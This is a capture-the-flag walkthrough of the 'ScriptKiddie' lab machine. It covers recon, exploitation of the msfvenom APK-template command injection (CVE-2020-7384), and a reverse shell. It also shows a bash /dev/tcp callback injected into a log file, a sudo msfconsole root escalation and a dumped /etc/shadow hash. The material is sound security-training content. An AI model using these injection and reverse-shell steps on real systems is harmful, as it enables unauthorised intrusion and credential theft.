Recon
- Port scan:
$ nmap -p- 10.10.10.226 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp
- Targeted scan:
$ nmap -sC -sV -p 22,5000 10.10.10.226 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-title: k1d'5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Werkzeug httpd 0.16.1
Enumeration
HTTP Enumeration
- Website is a "hacker tools" page with web implementations of tools including
nmap
,msfvenom
, andsearchsploit
. - Bruteforcing for files with
gobuster
:$ gobuster dir -u http://10.10.10.226:5000 -t 50 -w ../Common/directory-list-2.3-medium.txt -x .php,.html
gobuster
scan didn't return anything useful, moving on...- We are able to self-scan
127.0.0.1
using thenmap
tool on the website: - The self
nmap
scan did not reveal any other internal services. - Suppose if the internal command were to be formatted like this:
$ nmap --top-ports 100 ${ip}
- We could possibly inject additional commands by supplying an IP input such as:
127.0.0.1 && whoami
- Unfortunately, this didn't work. There are probably regex checks being done to ensure that the input is an IP address, and strips away anything else.
- The
msfvenom
tool generates areverse_tcp
binary and hosts it locally on/static/payloads/
: - This implementation of
msfvenom
also accepts a "template file" which we can upload. - Page is running Flask 0.16.1, which can be vulnerable to server-side template injection (SSTI). We can test by inputting the following in the
searchsploit
textbox:{{7*7}}
- The input field seems to have filtering in place to prevent non-alphanumeric characters from being sent. We also get this very kind error message from the site owner:
- Looking at the
msfvenom
tool, we see that the dropdown list contains "Android" as an option for OS, which means we can use an APK as a template file. - This implementation of
msfvenom
is possibly vulnerable to CVE-2020-7384, where a malicious APK file when used as a template file can cause arbitrary code to be executed on the user's system.
Exploitation
- The
msfvenom
tool is used by many for payload generation, and of the numerous payload types provided by the tool, it allows the user to provide a "template" using the-x
option. - This command injection vulnerability in
msfvenom
occurs when using an APK file as a template to generate Android payloads, and the process is as follows:- Execute
keytool
to extract the "Owner" field from the APK's signature, as well as the signature's timestamp. - Execute
keytool
to generate a new signing key and self-signed certificate based on the details extracted in step 1. - Execute
apktool
to do various decompilation operations: a. uses an XML parser to parse the original APK's XML manifest file b. injects the payload and rebuilds the injected APK c. usesjarsigner
to sign the APK with the keys generated in step 2 d. useszipalign
to align the APK file
- Execute
- The vulnerability is in step 2 of this process, when
keytool
is executed using the following command:keytool -genkey -v -keystore #{keystore} \ -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \ -keysize 2048 -startdate '#{orig_cert_startdate}' \ -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'
- In particular, the value for
orig_cert_dname
is obtained from step 1 of the process, where the original APK was parsed and the "Owner" field was extracted from the APK's signature. - This command string is passed to
Open3.popen3()
. When this function receives a single string parameter, it effectively acts as asystem()
function, giving rise to a command injection vulnerability. - We can generate the malicious APK manually, or by using the Metasploit module
unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
:> set LHOST 10.10.14.103
> set LPORT 6969
> run
- This should create the APK file in the Metasploit directory, which we can upload as a template file:
$ cp /home/samiko/.msf4/local/msf.apk ./
- On the
msfvenom
tools page, select "Android" as OS, input127.0.0.1
as the LHOST, and uploadmsf.apk
as the template file. - Start a
nc
listener:$ nc -lvnp 6969
- After pressing "generate", we should get a reverse shell as kid:
$ whoami && id
kid uid=1000(kid) gid=1000(kid) groups=1000(kid)
- Get user flag!
Privilege Escalation
- Before moving forward, let's upgrade our shell by spawning a TTY:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
$ python3 /tmp/shell.py
- We see that we are able to read some files in another user pwn's home directory:
$ ls -la /home/pwn
total 44 drwxr-xr-x 6 pwn pwn 4096 Feb 28 08:41 . drwxr-xr-x 4 root root 4096 Feb 3 07:40 .. lrwxrwxrwx 1 root root 9 Feb 3 12:06 .bash_history -> /dev/null -rw-r--r-- 1 pwn pwn 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 pwn pwn 3771 Feb 25 2020 .bashrc drwx------ 2 pwn pwn 4096 Jan 28 17:08 .cache drwxrwxr-x 3 pwn pwn 4096 Jan 28 17:24 .local -rw-r--r-- 1 pwn pwn 807 Feb 25 2020 .profile -rw-rw-r-- 1 pwn pwn 74 Jan 28 16:22 .selected_editor drwx------ 2 pwn pwn 4096 Feb 10 16:10 .ssh lrwxrwxrwx 1 pwn pwn 5 Feb 28 08:41 console -> ttyS0 drwxrw---- 2 pwn pwn 4096 Feb 28 13:10 recon -rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 scanlosers.sh
- Found
scanloser.sh
:#!/bin/bash log=/home/kid/logs/hackers cd /home/pwn/ cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & done if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
- Looks like the shell script is reading the contents of
/home/kid/logs/hackers
, which we have write access to, and then piping it through some filters to extract IP addresses. - This means that it is possible for us to perform a command injection by modifying
/home/kid/logs/hackers
:$ echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.103/1337 0>&1' #" >> hackers
- Since this script is constantly being executed, we should get a reverse connection and a shell for the pwn user after a few seconds:
$ whoami && id
pwn uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
- Checking sudo privileges:
$ sudo -l
Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
- The pwn user can run
msfconsole
as root, which we can leverage to gain root:$ sudo msfconsole
- From here, spawning a root shell is trivial:
> bash -i
stty: 'standard input': Inappropriate ioctl for device [*] exec: bash -i root@scriptkiddie:~# _
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Post-exploitation
- In the root's home directory, we can see the line in
app.py
causing the template file command injection inmsfvenom
:print(f'msfvenom -x {template_file.name} -p {payload} LHOST={lhost} LPORT=4444')
- As well as the IP address regex checks in
nmap
preventing our command injection:regex_ip = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$') ... def scan(ip): if regex_ip.match(ip): result = subprocess.check_output(['nmap', '--top-ports', '100', ip])
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$RO4wVQ/hyXhjln4S$UQl5o6XSa2USqAM.RT9YwujFhZWriZqEz5We.opH1FLTbDtLfruET9jlKcEEqfxnCb1UxwhcfWJ/2gPJE77Bl.:18632:0:99999:7:::